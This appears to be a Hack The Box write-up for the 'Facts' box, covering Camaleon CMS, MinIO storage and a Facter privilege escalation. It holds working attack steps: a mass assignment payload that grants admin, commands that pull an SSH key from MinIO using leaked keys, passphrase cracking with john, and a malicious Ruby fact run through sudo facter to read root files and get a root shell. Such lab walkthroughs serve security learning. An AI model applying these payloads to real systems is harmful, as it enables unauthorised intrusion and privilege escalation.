hackthebox Easy

Facts

Overview

Facts is an Easy Linux box running Camaleon CMS with a MinIO object storage backend. The attack chain begins with registering an account on the CMS, then exploiting a mass assignment vulnerability in the password change endpoint to escalate the account to admin. As admin, the Filesystem Settings page reveals MinIO (S3-compatible) access and secret keys. Connecting to MinIO exposes an internal bucket containing an SSH private key for the user trivia. After cracking the key’s passphrase with john, SSH access reveals a sudo entry allowing trivia to run /usr/bin/facter as root with no password. Facter’s --custom-dir flag loads arbitrary Ruby code, giving us code execution as root.

Key Attack Chain:

  1. Register account on Camaleon CMS at facts.htb
  2. Mass assignment on password change adds password[role]=admin to escalate to admin
  3. Admin settings reveal MinIO credentials (access key, secret key, endpoint on port 54321)
  4. MinIO internal bucket contains SSH private key (id_ed25519)
  5. ssh2john + john cracks the passphrase: dragonballz
  6. SSH as trivia using the cracked key
  7. sudo /usr/bin/facter --custom-dir=/tmp/piv with a malicious Ruby fact escalates to root

Enumeration

Nmap Scan

1
nmap -sC -sV -T4 10.129.5.239
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.26.3 (Ubuntu)
|_http-title: facts
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Port 80 serves a Camaleon CMS site (“facts”) with trivia content. The admin panel is at /admin/login and registration is available at /admin/register.


Foothold

Account Registration

Register a new account at http://facts.htb/admin/register. The registration form includes a CAPTCHA – note that the CAPTCHA solution must be submitted in lowercase.

Mass Assignment to Admin

After logging in, navigate to the profile edit page at /admin/profile/edit. Intercept the password change request and append &password[role]=admin to the POST body:

_method=patch&authenticity_token=<TOKEN>&password[password]=Password123&password[password_confirmation]=Password123&password[role]=admin

The Camaleon CMS password update endpoint at /admin/users/<id>/updated_ajax does not filter the role parameter, allowing mass assignment to escalate to admin.

Extracting MinIO Credentials

With admin access, navigate to Settings -> General Site -> Filesystem Settings. The page reveals:

  • Access Key: AKIABD5A0D8E111FA5A4
  • Secret Key: 4HBeKwNQPxp2DzxyGAWcNesmNxMxGGUiL/Pq/6SP
  • Bucket: randomfacts
  • Endpoint: http://localhost:54321

SSH Key from MinIO

Connect to MinIO using the mc client:

1
2
mc alias set facts http://facts.htb:54321 AKIABD5A0D8E111FA5A4 '4HBeKwNQPxp2DzxyGAWcNesmNxMxGGUiL/Pq/6SP'
mc ls facts/
[2025-xxx] 0B internal/
[2025-xxx] 0B randomfacts/

Pull the SSH key:

1
mc get facts/internal/.ssh/id_ed25519

Cracking the Key Passphrase

1
2
ssh2john id_ed25519 > id.hash
john --wordlist=/usr/share/wordlists/rockyou.txt id.hash
dragonballz      (id_ed25519)

The key comment reveals the username: trivia@facts.htb.

SSH Access

1
2
ssh-keygen -p -f id_ed25519  # Remove passphrase for convenience
ssh trivia@facts.htb -i id_ed25519

Privilege Escalation

Sudo Enumeration

1
2
3
trivia@facts:~$ sudo -l
User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter

Facter Custom Fact Exploit

Facter (Puppet’s system inventory tool) supports loading custom facts from arbitrary directories via --custom-dir. By creating a malicious Ruby fact, we achieve code execution as root:

1
2
3
4
5
6
7
8
9
mkdir -p /tmp/piv
cat > /tmp/piv/a.rb << 'EOF'
Facter.add(:pwned) do
  setcode do
    Facter::Core::Execution.execute("cat /root/root.txt")
  end
end
EOF
sudo /usr/bin/facter --custom-dir=/tmp/piv pwned

For an interactive root shell:

1
2
echo 'exec "/bin/sh"' > /tmp/piv/a.rb
sudo /usr/bin/facter --custom-dir=/tmp/piv
# id
uid=0(root) gid=0(root) groups=0(root)

Lessons Learned

  • Mass assignment vulnerabilities persist – Camaleon CMS did not whitelist permitted parameters on the password change endpoint, allowing role escalation by simply adding password[role]=admin to the request
  • Object storage often holds secrets – MinIO/S3 buckets configured for CMS file storage frequently contain sensitive data beyond what the application intended to expose. The internal bucket held SSH keys
  • SSH key passphrases are crackable – Weak passphrases like dragonballz fall quickly to dictionary attacks. Use strong, unique passphrases or hardware-backed keys
  • Sudo with scriptable tools is dangerous – Facter’s --custom-dir flag allows loading arbitrary Ruby code, making sudo facter equivalent to sudo ruby. Tools that support plugin loading should never be given unrestricted sudo access